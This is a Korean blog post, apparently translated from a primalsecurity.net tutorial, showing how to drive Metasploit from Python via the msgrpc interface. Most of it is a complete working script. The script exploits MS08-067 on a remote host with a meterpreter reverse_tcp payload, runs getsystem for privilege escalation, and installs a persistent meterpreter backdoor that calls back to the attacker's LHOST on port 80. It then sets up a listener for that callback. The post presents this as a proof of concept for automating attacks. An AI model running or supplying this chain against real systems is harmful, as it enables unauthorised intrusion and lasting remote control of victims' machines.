0xA Python Tutorials - Python for Metasploit Automation

2015. 9. 20. 02:15·primalsecurity.net/Python Tutorials

"Spiderlabs"에서 제작한 "pymsf" 모듈은 파이썬과 메타스플로잇(msgrpc)이 서로 상호 작용할 수 있게 도와준다. 우선 "msfconsole" 명령어를 이용하여 메타스플로잇 콘솔을 실행 한 뒤 다음의 명령어를 이용하여 "msgrpc" 서비스를 시작해야 한다.

 

- "load msgrpc Pass=bob"

 

 

 

 

"msgrpc" 모듈을 이용하는 것은 "msfconsole"을 이용하는 것과 유사하다. 우선 "msgrpc" 클래스를 생성하고 "msgrpc" 서버에 접속하고 가상의 콘솔을 생성한다. 그 다음 생성된 가상 콘솔에서 실행하고자 하는 명령어를 생성한다. Call 메소드를 이용하여 이전에 생성한 명령어를 "console.write"와 함께 실행하고 "console.ouput"을 통하여 명령어 결과를 받아볼 수 있다. 이번 포스팅에서는 익스플로잇을 실행하고, 익스플로잇 실행 이후 작업들을 "pymsf" 모듈을 이용하여 수행하는 것을 보여줄 것이다.

 

 

 

아래 코드 예제는 "msgrpc" 클래스를 생성하고, "msgrpc" 서버에 접속한 뒤 가상 콘솔을 생성하는 코드이다.

 

def sploiter(RHOST, LHOST, LPORT, session):
    client = msfrpc.Msfrpc({})
    client.login('msf', '123')
    ress = client.call('console.create')
    console_id = ress['id']

 

 

 

 

 

그 다음 가상 콘솔에서 실행하고자 하는 명령어를 포함하는 n 라인 이상의 코드를 짠다. 그리고 "console.wrrite"로 실행하고 "console.read"로 명령어 실행 결과를 받아 온다.

 

## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

 

 

 

 

아래의 코드는 "MSF 리소스 파일"을 생성한다. 이 파일은 사용자가 원하는 명령어를 "resource <PathToFile>" 을 이용하여 파일로부터 읽어들여 실행하게 해준다. 조금있다가 리소스 파일을 실행할 것인데 해당 파일에는 "getsystem"을 이용하여 권한 상승을 하고, "run persistence..."를 이용하여 "LHOST:PORT"로 연결되는 미터프리터 백도어를 생성하고, 익스플로잇에 사용된 취약점에 대한 패치 파일을 업로드 한 뒤 최종적으로 "non-user" 모드에서 패치를 설치할 것이다.

 

# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')
     bat = open('/tmp/ms08067_install.bat', 'w')
 
     postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()

 

 

 

 

아래의 코드는 이전에 생성한(위 사진 코드) ".rc" 파일을 이용하여 현재 "msf => post/multi/gather/run_console_rc_ile" 모듈에서 사용되는 인터프린터 세션에서 명령어를 실행 시킨다. 이전과 마찬가지로 "console.write / console.read"을 이용하여 명령어를 실행하고 결과를 받아올 수 있다.

 

## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
     print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])
     rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
     sleep(10)
     listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres

 

 

 

 

"RHOST,LHOST,LPORT 등"의 변수들은 "optparse" 모듈을 이용하여 커맨드라인에서 세팅되었다.  이전의 코드들을 포함한 완전한 스크립트 코드는 포스팅 하단에 위치하고 있다. 단 주의할점은 스크립트의 일부분은 정적으로 세팅되었다. (예를 들며 /tmp/ 디렉토리에 "ms08-067" 취약점에 대한 패치 파일이 존재해야 한다 )  아래의 완전한 스크립트 코드는 사용자의 요구에 따라 공격을 자동화 할 때 참고할 수 있는 일종의 "PoC (Proof Of Concept)" 코드이다.

 

import os, msfrpc, optparse, sys, subprocess from time import sleep # Function to create the MSF .rc files def builder(RHOST, LHOST, LPORT): post = open('/tmp/smbpost.rc', 'w') bat = open('/tmp/ms08067_install.bat', 'w') postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:\\ upload /tmp/ms08067_patch.exe c:\\ upload /tmp/ms08067_install.bat c:\\ execute -f ms08067_install.bat """ batcomm = "ms08067_patch.exe /quiet" post.write(postcomms) bat.write(batcomm) post.close(); bat.close() # Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch def sploiter(RHOST, LHOST, LPORT, session): client = msfrpc.Msfrpc({}) client.login('msf', '123') ress = client.call('console.create') console_id = ress['id'] ## Exploit MS08-067 ## commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """ print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('\n') ## Run Post-exploit script ## runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """ print "[+] Running post-exploit script on: "+RHOST client.call('console.write',[console_id,runPost]) rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ## sleep(10) listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """ print "[+] Setting up listener on: "+LHOST+":80" client.call('console.write',[console_id,listen]) lres = client.call('console.read',[console_id]) print lres def main(): parser = optparse.OptionParser(sys.argv[0] +\ ' -p LPORT -r RHOST -l LHOST') parser.add_option('-p', dest='LPORT', type='string', \ help ='specify a port to listen on') parser.add_option('-r', dest='RHOST', type='string', \ help='Specify a remote host') parser.add_option('-l', dest='LHOST', type='string', \ help='Specify a local host') parser.add_option('-s', dest='session', type='string', \ help ='specify session ID') (options, args) = parser.parse_args() session=options.session RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT if (RHOST == None) and (LPORT == None) and (LHOST == None): print parser.usage sys.exit(0) builder(RHOST, LHOST, LPORT) sploiter(RHOST, LHOST, LPORT, session) if __name__ == "__main__": main()

 

저작자표시 비영리 동일조건 (새창열림)

'primalsecurity.net > Python Tutorials' 카테고리의 다른 글

0xC Python Tutorials - Python Malware (파이썬 악성코드)  (0) 2015.12.08
0xB Python Tutorials - Pseudo Terminal  (0) 2015.11.06
0x9 Python Tutorials - Command Automation  (0) 2015.09.10
0x8 Python Tutorials - Whois Automation  (0) 2015.09.10
0x7 Python Tutorials - Web Scanning and Exploitation  (0) 2015.09.08
'primalsecurity.net/Python Tutorials' 카테고리의 다른 글
  • 0xC Python Tutorials - Python Malware (파이썬 악성코드)
  • 0xB Python Tutorials - Pseudo Terminal
  • 0x9 Python Tutorials - Command Automation
  • 0x8 Python Tutorials - Whois Automation
초보 & 뉴비
초보 & 뉴비
보안과 개발(프론트는 좀 약함, 미적 감각 부재 이슈)을 좋아하며 업으로 삼고 있습니다.
  • 초보 & 뉴비
    보안과 그 개발, 그 어딘가
    초보 & 뉴비
  • 전체
    오늘
    어제
    • 분류 전체보기 (334) N
      • 옵시디언 (1)
      • 도커&쿠버네티스 (4) N
      • NAS(시놀로지&헤놀로지) (1)
      • Webhacking.kr (62)
      • Lord_of_SQL-Injections_I (27)
      • DVWA (0)
      • Root-Me.org (0)
      • Pwnable.kr (6)
      • HackerSchool_FTZ (20)
      • CodeEngn_Basic (20)
      • CodeEngn_Advance (0)
      • Lord_of_BoF_Redhat (1)
      • Lord_of_BoF_FC3 (5)
      • io_smashthestack (6)
      • n00bs CTF Labs (1)
      • 블록체인 (3)
      • Machine Learning (25)
        • Tensorflow (3)
        • PyTorch (18)
        • Visualize (4)
      • Kali 2.0 & Metasploit (16)
        • Windows Hacking (5)
        • Linux Hacking (0)
        • Malware (3)
        • ETC (8)
      • Fuzzing (2)
      • Windows (1)
      • Linux (4)
      • Android (2)
      • Android_Vuln (26)
      • 익스플로잇 (12)
      • 모의해킹 (4)
        • 워드프레스 (4)
      • SQL Injection (1)
      • System Hacking(OS) (5)
        • Shellcode (5)
      • Buffer OverFlow (9)
      • Reversing (44)
        • Lena's Reversing Tutorial f.. (41)
        • 이것 저것 (3)
      • ===== 번역 ===== (0)
      • primalsecurity.net (14)
        • Python Tutorials (14)
      • securityxploded.com (1)
        • IDA Pro (1)
      • 개인 정리 (11)
        • Burpsuite (11)
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

    • 정보보안 관련 포스팅 주의사항
  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
초보 & 뉴비
0xA Python Tutorials - Python for Metasploit Automation
상단으로

티스토리툴바